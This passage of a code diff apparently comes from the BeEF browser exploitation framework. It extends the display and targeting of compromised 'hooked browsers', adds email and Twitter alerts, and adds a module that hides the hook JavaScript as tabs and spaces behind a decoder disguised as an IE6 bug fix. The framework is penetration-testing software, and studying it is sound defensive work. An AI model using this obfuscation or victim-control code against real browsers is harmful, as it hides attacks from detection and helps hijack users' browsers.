# create hash of zombie details
|
||||
zombies_hash[i] = (get_simple_hooked_browser_hash(zombie))
|
||||
i+=1
|
||||
end
|
||||
|
||||
zombies_hash
|
||||
end
|
||||
|
||||
# create a hash of simple hooked browser details
|
||||
def get_simple_hooked_browser_hash(hooked_browser)
|
||||
|
||||
browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName')
|
||||
browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion')
|
||||
browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
|
||||
os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
|
||||
os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName')
|
||||
hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session)
|
||||
hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware')
|
||||
domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
|
||||
has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash')
|
||||
has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket')
|
||||
has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears')
|
||||
has_java = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'JavaEnabled')
|
||||
date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
|
||||
|
||||
return {
|
||||
'session' => hooked_browser.session,
|
||||
'ip' => hooked_browser.ip,
|
||||
'domain' => domain,
|
||||
'port' => hooked_browser.port.to_s,
|
||||
'browser_name' => browser_name,
|
||||
'browser_version' => browser_version,
|
||||
'browser_icon' => browser_icon,
|
||||
'os_icon' => os_icon,
|
||||
'os_name' => os_name,
|
||||
'hw_icon' => hw_icon,
|
||||
'hw_name' => hw_name,
|
||||
'has_flash' => has_flash,
|
||||
'has_web_sockets' => has_web_sockets,
|
||||
'has_googlegears' => has_googlegears,
|
||||
'has_java' => has_java,
|
||||
'date_stamp' => date_stamp
|
||||
}
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
zombies_hash
|
||||
end
|
||||
|
||||
# create a hash of simple hooked browser details
|
||||
def get_simple_hooked_browser_hash(hooked_browser)
|
||||
|
||||
browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
|
||||
os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
|
||||
domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
|
||||
|
||||
return {
|
||||
'session' => hooked_browser.session,
|
||||
'ip' => hooked_browser.ip,
|
||||
'domain' => domain,
|
||||
'port' => hooked_browser.port.to_s,
|
||||
'browser_icon' => browser_icon,
|
||||
'os_icon' => os_icon
|
||||
}
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
BIN
extensions/admin_ui/media/images/icons/htc.ico
Normal file
|
After Width: | Height: | Size: 1.1 KiB |
BIN
extensions/admin_ui/media/images/icons/ios.png
Normal file
|
After Width: | Height: | Size: 2.2 KiB |
BIN
extensions/admin_ui/media/images/icons/iphone.jpg
Normal file
|
After Width: | Height: | Size: 1.7 KiB |
|
Before Width: | Height: | Size: 1.5 KiB |
BIN
extensions/admin_ui/media/images/icons/kindle.png
Normal file
|
After Width: | Height: | Size: 4.3 KiB |
BIN
extensions/admin_ui/media/images/icons/motorola.png
Normal file
|
After Width: | Height: | Size: 3.6 KiB |
BIN
extensions/admin_ui/media/images/icons/nexus.png
Normal file
|
After Width: | Height: | Size: 7.3 KiB |
BIN
extensions/admin_ui/media/images/icons/nokia.ico
Normal file
|
After Width: | Height: | Size: 1.1 KiB |
BIN
extensions/admin_ui/media/images/icons/pc.png
Normal file
|
After Width: | Height: | Size: 2.5 KiB |
BIN
extensions/admin_ui/media/images/icons/sony_ericsson.png
Normal file
|
After Width: | Height: | Size: 4.5 KiB |
BIN
extensions/admin_ui/media/images/icons/webos.png
Normal file
|
After Width: | Height: | Size: 6.5 KiB |
BIN
extensions/admin_ui/media/images/icons/zune.gif
Normal file
|
After Width: | Height: | Size: 1.7 KiB |
@@ -20,18 +20,49 @@ var ZombiesMgr = function(zombies_tree_lists) {
|
||||
|
||||
// this is a helper class to create a zombie object from a JSON hash index
|
||||
this.zombieFactory = function(index, zombie_array){
|
||||
text = "<img src='/ui/media/images/icons/"+escape(zombie_array[index]["browser_icon"])+"' style='padding-top:3px;' width='13px' height='13px'/> ";
|
||||
text += "<img src='/ui/media/images/icons/"+escape(zombie_array[index]["os_icon"])+"' style='padding-top:3px;' width='13px' height='13px'/> ";
|
||||
text += zombie_array[index]["ip"];
|
||||
|
||||
var ip = zombie_array[index]["ip"];
|
||||
var session = zombie_array[index]["session"];
|
||||
var browser_name = zombie_array[index]["browser_name"];
|
||||
var browser_version = zombie_array[index]["browser_version"];
|
||||
var browser_icon = zombie_array[index]["browser_icon"];
|
||||
var os_icon = zombie_array[index]["os_icon"];
|
||||
var os_name = zombie_array[index]["os_name"];
|
||||
var hw_name = zombie_array[index]["hw_name"];
|
||||
var hw_icon = zombie_array[index]["hw_icon"];
|
||||
var domain = zombie_array[index]["domain"];
|
||||
var port = zombie_array[index]["port"];
|
||||
var has_flash = zombie_array[index]["has_flash"];
|
||||
var has_web_sockets = zombie_array[index]["has_web_sockets"];
|
||||
var has_googlegears = zombie_array[index]["has_googlegears"];
|
||||
var has_java = zombie_array[index]["has_java"];
|
||||
var date_stamp = zombie_array[index]["date_stamp"];
|
||||
|
||||
text = "<img src='/ui/media/images/icons/"+escape(browser_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
|
||||
text+= "<img src='/ui/media/images/icons/"+escape(os_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
|
||||
text+= "<img src='/ui/media/images/icons/"+escape(hw_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
|
||||
text+= ip;
|
||||
|
||||
balloon_text = "IP: " + ip;
|
||||
balloon_text+= "<br/>Browser: " + browser_name + " " + browser_version;
|
||||
balloon_text+= "<br/>System: " + os_name;
|
||||
balloon_text+= "<br/>Hardware: " + hw_name;
|
||||
balloon_text+= "<br/>Domain: " + domain + ":" + port;
|
||||
balloon_text+= "<br/>Flash: " + has_flash;
|
||||
balloon_text+= "<br/>Java: " + has_java;
|
||||
balloon_text+= "<br/>Web Sockets: " + has_web_sockets;
|
||||
balloon_text+= "<br/>Google Gears: " + has_googlegears;
|
||||
balloon_text+= "<br/>Date: " + date_stamp;
|
||||
|
||||
var new_zombie = {
|
||||
'id' : index,
|
||||
'ip' : zombie_array[index]["ip"],
|
||||
'session' : zombie_array[index]["session"],
|
||||
'text': text,
|
||||
'check' : false,
|
||||
'domain' : zombie_array[index]["domain"],
|
||||
'port' : zombie_array[index]["port"]
|
||||
'id' : index,
|
||||
'ip' : ip,
|
||||
'session' : session,
|
||||
'text' : text,
|
||||
'balloon_text' : balloon_text,
|
||||
'check' : false,
|
||||
'domain' : domain,
|
||||
'port' : port
|
||||
};
|
||||
|
||||
return new_zombie;
|
||||
|
||||
@@ -36,6 +36,7 @@ zombiesTreeList = function(id) {
|
||||
//the tree node that contains the list of online hooked browsers
|
||||
this.online_hooked_browsers_treenode = this.root.appendChild(
|
||||
new Ext.tree.TreeNode({
|
||||
qtip: "Online hooked browsers",
|
||||
text:'Online Browsers',
|
||||
cls:'online-zombies-node',
|
||||
expanded:true
|
||||
@@ -45,6 +46,7 @@ zombiesTreeList = function(id) {
|
||||
//the tree node that contains the list of offline hooked browsers
|
||||
this.offline_hooked_browsers_treenode = this.root.appendChild(
|
||||
new Ext.tree.TreeNode({
|
||||
qtip: "Offline hooked browsers",
|
||||
text:'Offline Browsers',
|
||||
cls:'offline-zombies-node',
|
||||
expanded:false
|
||||
@@ -183,7 +185,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
|
||||
*/
|
||||
addZombie: function(hooked_browser, online, checkbox) {
|
||||
var hb_id, mother_node, node;
|
||||
|
||||
|
||||
if(online) {
|
||||
hb_id = 'zombie-online-' + hooked_browser.session;
|
||||
mother_node = this.online_hooked_browsers_treenode;
|
||||
@@ -193,7 +195,9 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
|
||||
}
|
||||
var exists = this.getNodeById(hb_id);
|
||||
if(exists) return;
|
||||
|
||||
|
||||
hooked_browser.qtip = hooked_browser.balloon_text;
|
||||
|
||||
//save a new online HB
|
||||
if(online && Ext.pluck(this.online_hooked_browsers_array, 'session').indexOf(hooked_browser.session)==-1) {
|
||||
this.online_hooked_browsers_array.push(hooked_browser);
|
||||
@@ -216,7 +220,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
|
||||
|
||||
//creates a new node for that hooked browser
|
||||
node = new Ext.tree.TreeNode(hooked_browser);
|
||||
|
||||
|
||||
//creates a sub-branch for that HB if necessary
|
||||
mother_node = this.addSubFolder(mother_node, hooked_browser[this.tree_configuration['sub-branch']], checkbox);
|
||||
|
||||
@@ -253,6 +257,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
|
||||
sub_folder_node = new Ext.tree.TreeNode({
|
||||
id: 'sub-folder-'+folder,
|
||||
text: folder,
|
||||
qtip: "Browsers hooked on "+folder,
|
||||
checked: ((checkbox) ? false : null),
|
||||
type: this.tree_configuration["sub-branch"]
|
||||
});
|
||||
|
||||
@@ -53,10 +53,10 @@ class Command
|
||||
print_line("Module name: " + driver.interface.cmd['Name'])
|
||||
print_line("Module category: " + driver.interface.cmd['Category'])
|
||||
print_line("Module description: " + driver.interface.cmd['Description'])
|
||||
print_line("Module parameters:")
|
||||
print_line("Module parameters:") if not driver.interface.cmd['Data'].length == 0
|
||||
|
||||
driver.interface.cmd['Data'].each{|data|
|
||||
print_line(data['name'] + " => \"" + data['value'].to_s + "\" # this is the " + data['ui_label'] + " parameter")
|
||||
print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'])
|
||||
} if not driver.interface.cmd['Data'].nil?
|
||||
end
|
||||
|
||||
@@ -168,4 +168,4 @@ class Command
|
||||
|
||||
end
|
||||
|
||||
end end end end
|
||||
end end end end
|
||||
|
||||
@@ -47,10 +47,14 @@ class Core
|
||||
end
|
||||
|
||||
def cmd_back(*args)
|
||||
if (driver.current_dispatcher.name == 'Command')
|
||||
driver.remove_dispatcher('Command')
|
||||
driver.interface.clearcommand #TODO: TIDY THIS UP
|
||||
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ")
|
||||
if (driver.current_dispatcher.name == 'Command')
|
||||
driver.remove_dispatcher('Command')
|
||||
driver.interface.clearcommand #TODO: TIDY THIS UP
|
||||
if driver.interface.targetid.length > 1
|
||||
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ")
|
||||
else
|
||||
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ")
|
||||
end
|
||||
elsif (driver.current_dispatcher.name == 'Target')
|
||||
driver.remove_dispatcher('Target')
|
||||
driver.interface.cleartarget
|
||||
@@ -147,11 +151,12 @@ class Core
|
||||
[
|
||||
'Id',
|
||||
'IP',
|
||||
'Browser',
|
||||
'OS'
|
||||
])
|
||||
|
||||
BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)).each do |zombie|
|
||||
tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Core::Models::BrowserDetails.os_icon(zombie.session))]
|
||||
tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName')+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName')]
|
||||
end
|
||||
|
||||
puts "\n"
|
||||
@@ -178,11 +183,12 @@ class Core
|
||||
[
|
||||
'Id',
|
||||
'IP',
|
||||
'Browser',
|
||||
'OS'
|
||||
])
|
||||
|
||||
BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)).each do |zombie|
|
||||
tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Core::Models::BrowserDetails.os_icon(zombie.session))]
|
||||
tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName')+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName')]
|
||||
end
|
||||
|
||||
puts "\n"
|
||||
@@ -213,23 +219,30 @@ class Core
|
||||
BeEF::Core::Models::HookedBrowser.all(:lastseen.gt => (Time.new.to_i - 30)).each do |zombie|
|
||||
onlinezombies << zombie.id
|
||||
end
|
||||
|
||||
if not onlinezombies.include?(args[0].to_i)
|
||||
print_status("Browser does not appear to be online..")
|
||||
return false
|
||||
end
|
||||
|
||||
if not driver.interface.settarget(args[0]).nil?
|
||||
|
||||
targets = args[0].split(',')
|
||||
targets.each {|t|
|
||||
if not onlinezombies.include?(t.to_i)
|
||||
print_status("Browser [id:"+t.to_s+"] does not appear to be online.")
|
||||
return false
|
||||
end
|
||||
#print_status("Adding browser [id:"+t.to_s+"] to target list.")
|
||||
}
|
||||
|
||||
if not driver.interface.settarget(targets).nil?
|
||||
|
||||
if (driver.dispatcher_stack.size > 1 and
|
||||
driver.current_dispatcher.name != 'Core')
|
||||
|
||||
driver.destack_dispatcher
|
||||
driver.update_prompt('')
|
||||
driver.update_prompt('')
|
||||
end
|
||||
|
||||
|
||||
driver.enstack_dispatcher(Target)
|
||||
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ")
|
||||
if driver.interface.targetid.length > 1
|
||||
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ")
|
||||
else
|
||||
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -287,13 +300,16 @@ class Core
|
||||
if not driver.interface.setofflinetarget(args[0]).nil?
|
||||
if (driver.dispatcher_stack.size > 1 and
|
||||
driver.current_dispatcher.name != 'Core')
|
||||
|
||||
driver.destack_dispatcher
|
||||
driver.update_prompt('')
|
||||
driver.update_prompt('')
|
||||
end
|
||||
|
||||
driver.enstack_dispatcher(Target)
|
||||
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ")
|
||||
if driver.interface.targetid.length > 1
|
||||
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ")
|
||||
else
|
||||
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -381,4 +397,4 @@ class Core
|
||||
|
||||
end
|
||||
|
||||
end end end end
|
||||
end end end end
|
||||
|
||||
@@ -28,7 +28,7 @@ class Target
|
||||
begin
|
||||
driver.interface.getcommands.each { |folder|
|
||||
folder['children'].each { |command|
|
||||
@@commands << folder['text'] + "/" + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
|
||||
@@commands << folder['text'] + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
|
||||
}
|
||||
}
|
||||
rescue
|
||||
@@ -73,9 +73,9 @@ class Target
|
||||
|
||||
driver.interface.getcommands.each { |folder|
|
||||
folder['children'].each { |command|
|
||||
tbl << [command['id'].to_s,
|
||||
folder['text'] + "/" + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_"),
|
||||
command['status'],
|
||||
tbl << [command['id'].to_i,
|
||||
folder['text'] + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_"),
|
||||
command['status'].gsub(/^Verified /,""),
|
||||
driver.interface.getcommandresponses(command['id']).length] #TODO
|
||||
}
|
||||
}
|
||||
@@ -159,7 +159,12 @@ class Target
|
||||
|
||||
driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false
|
||||
|
||||
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] / "+driver.interface.cmd['Name']+" ")
|
||||
if driver.interface.targetid.length > 1
|
||||
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] / "+driver.interface.cmd['Name']+" ")
|
||||
else
|
||||
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] / "+driver.interface.cmd['Name']+" ")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def cmd_select_help(*args)
|
||||
@@ -179,4 +184,4 @@ class Target
|
||||
|
||||
end
|
||||
|
||||
end end end end
|
||||
end end end end
|
||||
|
||||
@@ -60,6 +60,9 @@ class ShellInterface
|
||||
|
||||
tree = []
|
||||
BeEF::Modules.get_categories.each { |c|
|
||||
if c[-1,1] != "/"
|
||||
c.concat("/")
|
||||
end
|
||||
tree.push({
|
||||
'text' => c,
|
||||
'cls' => 'folder',
|
||||
@@ -68,7 +71,21 @@ class ShellInterface
|
||||
}
|
||||
|
||||
BeEF::Modules.get_enabled.each{|k, mod|
|
||||
update_command_module_tree(tree, mod['category'], get_command_module_status(k), mod['name'],mod['db']['id'])
|
||||
|
||||
flatcategory = ""
|
||||
if mod['category'].kind_of?(Array)
|
||||
# Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
|
||||
mod['category'].each {|cat|
|
||||
flatcategory << cat + "/"
|
||||
}
|
||||
else
|
||||
flatcategory = mod['category']
|
||||
if flatcategory[-1,1] != "/"
|
||||
flatcategory.concat("/")
|
||||
end
|
||||
end
|
||||
|
||||
update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'],mod['db']['id'])
|
||||
}
|
||||
|
||||
# if dynamic modules are found in the DB, then we don't have yaml config for them
|
||||
@@ -245,7 +262,7 @@ class ShellInterface
|
||||
'os' => [BD.get(hook_session_id, 'OsName')]})
|
||||
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||
return "Verfied Not Working"
|
||||
return "Verified Not Working"
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
|
||||
return "Verified User Notify"
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
|
||||
@@ -336,7 +353,7 @@ class ShellInterface
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Host',
|
||||
'data' => encoded_date_stamp,
|
||||
'data' => encoded_date_stamp_hash,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
@@ -358,6 +375,21 @@ class ShellInterface
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the os name
|
||||
hw_name = BD.get(self.targetsession, 'Hardware')
|
||||
if not hw_name.nil?
|
||||
encoded_hw_name = CGI.escapeHTML(hw_name)
|
||||
encoded_hw_name_hash = { 'Hardware' => encoded_hw_name }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Host',
|
||||
'data' => encoded_hw_name_hash,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the browser name
|
||||
browser_name = BD.get(self.targetsession, 'BrowserName')
|
||||
if not browser_name.nil?
|
||||
@@ -535,6 +567,21 @@ class ShellInterface
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the yes|no value for HasPhonegap
|
||||
has_phonegap = BD.get(self.targetsession, 'HasPhonegap')
|
||||
if not has_phonegap.nil?
|
||||
encoded_has_phonegap = CGI.escapeHTML(has_phonegap)
|
||||
encoded_has_phonegap_hash = { 'Has Phonegap' => encoded_has_phonegap }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser',
|
||||
'data' => encoded_has_phonegap_hash,
|
||||
'from' => 'Initialization'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the yes|no value for HasGoogleGears
|
||||
has_googlegears = BD.get(self.targetsession, 'HasGoogleGears')
|
||||
if not has_googlegears.nil?
|
||||
|
||||
@@ -16,13 +16,15 @@
|
||||
beef:
|
||||
extension:
|
||||
evasion:
|
||||
enable: true
|
||||
enable: true
|
||||
name: 'Evasion'
|
||||
authors: ["antisnatchor"]
|
||||
exclude_core_js: ["lib/jquery-1.5.2.min.js", "lib/json2.js", "lib/jools.min.js"]
|
||||
scramble_variables: true
|
||||
scramble_cookies: true
|
||||
scramble:
|
||||
beef: "beef"
|
||||
Beef: "Beef"
|
||||
evercookie: "evercookie"
|
||||
chain: ["scramble","minify","base_64"]
|
||||
#chain: ["scramble", "minify"]
|
||||
chain: ["minify", "base64", "whitespace"]
|
||||
|
||||
@@ -37,10 +37,10 @@ module BeEF
|
||||
#2. call the "execute" method of the ruby module, passing the input
|
||||
#3. update the input in order that next technique will work on the pre-processed input.
|
||||
if File.exists?("#{$root_dir}/extensions/evasion/obfuscation/#{technique}.rb")
|
||||
print_debug "[OBFUSCATION] Applying technique [#{technique}]"
|
||||
klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance
|
||||
is_bootstrap_needed = klass.need_bootstrap
|
||||
if is_bootstrap_needed
|
||||
print_debug "[OBFUSCATION] Adding bootstrapper for technique [#{technique}]"
|
||||
@bootstrap += klass.get_bootstrap
|
||||
end
|
||||
end
|
||||
|
||||
@@ -30,3 +30,4 @@ require 'extensions/evasion/helper'
|
||||
require 'extensions/evasion/obfuscation/scramble'
|
||||
require 'extensions/evasion/obfuscation/minify'
|
||||
require 'extensions/evasion/obfuscation/base_64'
|
||||
require 'extensions/evasion/obfuscation/whitespace'
|
||||
|
||||
68
extensions/evasion/obfuscation/whitespace.rb
Normal file
@@ -0,0 +1,68 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Evasion
|
||||
class Whitespace
|
||||
include Singleton
|
||||
|
||||
def need_bootstrap
|
||||
true
|
||||
end
|
||||
|
||||
def get_bootstrap
|
||||
# the decode function is in plain text - called IE-spacer - because trolling is always a good idea
|
||||
decode_function =
|
||||
"//Dirty IE6 whitespace bug hack
|
||||
function IE_spacer(css_space) {
|
||||
var spacer = '';
|
||||
for(y = 0; y < css_space.length/8; y++)
|
||||
{
|
||||
v = 0;
|
||||
for(x = 0; x < 8; x++)
|
||||
{
|
||||
if(css_space.charCodeAt(x+(y*8)) > 9)
|
||||
{
|
||||
v++;
|
||||
}
|
||||
if(x != 7)
|
||||
{
|
||||
v = v << 1;
|
||||
}
|
||||
}
|
||||
spacer += String.fromCharCode(v);
|
||||
}return spacer;
|
||||
}"
|
||||
end
|
||||
|
||||
def execute(input, config)
|
||||
size = input.length
|
||||
encoded = encode(input)
|
||||
var_name = BeEF::Extension::Evasion::Helper::random_string(3)
|
||||
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(IE_spacer(#{var_name}))();"
|
||||
print_debug "[OBFUSCATION - WHITESPACE] #{size}byte of Javascript code has been Whitespaced"
|
||||
input
|
||||
end
|
||||
|
||||
def encode(input)
|
||||
output = input.unpack('B*')
|
||||
output = output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ')
|
||||
output
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
60
extensions/notifications/channels/email.rb
Normal file
@@ -0,0 +1,60 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
#
|
||||
#
|
||||
require 'net/smtp'
|
||||
|
||||
module BeEF
|
||||
module Extension
|
||||
module Notifications
|
||||
module Channels
|
||||
|
||||
class Email
|
||||
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize(to_address, message)
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
@from_address = @config.get('beef.extension.notifications.email.from_address')
|
||||
@smtp_host = @config.get('beef.extension.notifications.email.smtp_host')
|
||||
@smtp_port = @config.get('beef.extension.notifications.email.smtp_port')
|
||||
@smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable')
|
||||
@password = @config.get('beef.extension.notifications.email.smtp_tls_password')
|
||||
|
||||
# configure the email client
|
||||
msg = "Subject: BeEF Notification\n\n" + message
|
||||
smtp = Net::SMTP.new @smtp_host, @smtp_port
|
||||
#if @smtp_tls_enable?
|
||||
# smtp.enable_starttls
|
||||
# smtp.start('beefproject.com', @from_address, @password, :login) do
|
||||
# smtp.send_message(msg, @from_address, @to_address)
|
||||
# end
|
||||
#else
|
||||
smtp.start do
|
||||
smtp.send_message(msg, @from_address, to_address)
|
||||
end
|
||||
#end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
53
extensions/notifications/channels/tweet.rb
Normal file
@@ -0,0 +1,53 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
#
|
||||
#
|
||||
require 'twitter'
|
||||
|
||||
module BeEF
|
||||
module Extension
|
||||
module Notifications
|
||||
module Channels
|
||||
|
||||
class Tweet
|
||||
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize(username, message)
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
|
||||
# configure the Twitter client
|
||||
Twitter.configure do |config|
|
||||
config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key')
|
||||
config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret')
|
||||
config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token')
|
||||
config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret')
|
||||
end
|
||||
|
||||
begin
|
||||
Twitter.direct_message_create(username, message)
|
||||
rescue
|
||||
print "Twitter send failed, verify tokens have Read/Write/DM acceess..\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
33
extensions/notifications/config.yaml
Normal file
@@ -0,0 +1,33 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
extension:
|
||||
notifications:
|
||||
enable: false
|
||||
name: Notifications
|
||||
twitter:
|
||||
enable: false
|
||||
consumer_key: app_consumer_key
|
||||
consumer_secret: app_consumer_secret
|
||||
oauth_token: your_oauth_token_for_this_app
|
||||
oauth_token_secret: your_oauth_token_secret_for_this_app
|
||||
target_username:
|
||||
email:
|
||||
enable: false
|
||||
from_address: sender_email_address
|
||||
to_address: receipient_email_address
|
||||
smtp_host: 127.0.0.1
|
||||
smtp_port: 25
|
||||
30
extensions/notifications/extension.rb
Normal file
@@ -0,0 +1,30 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
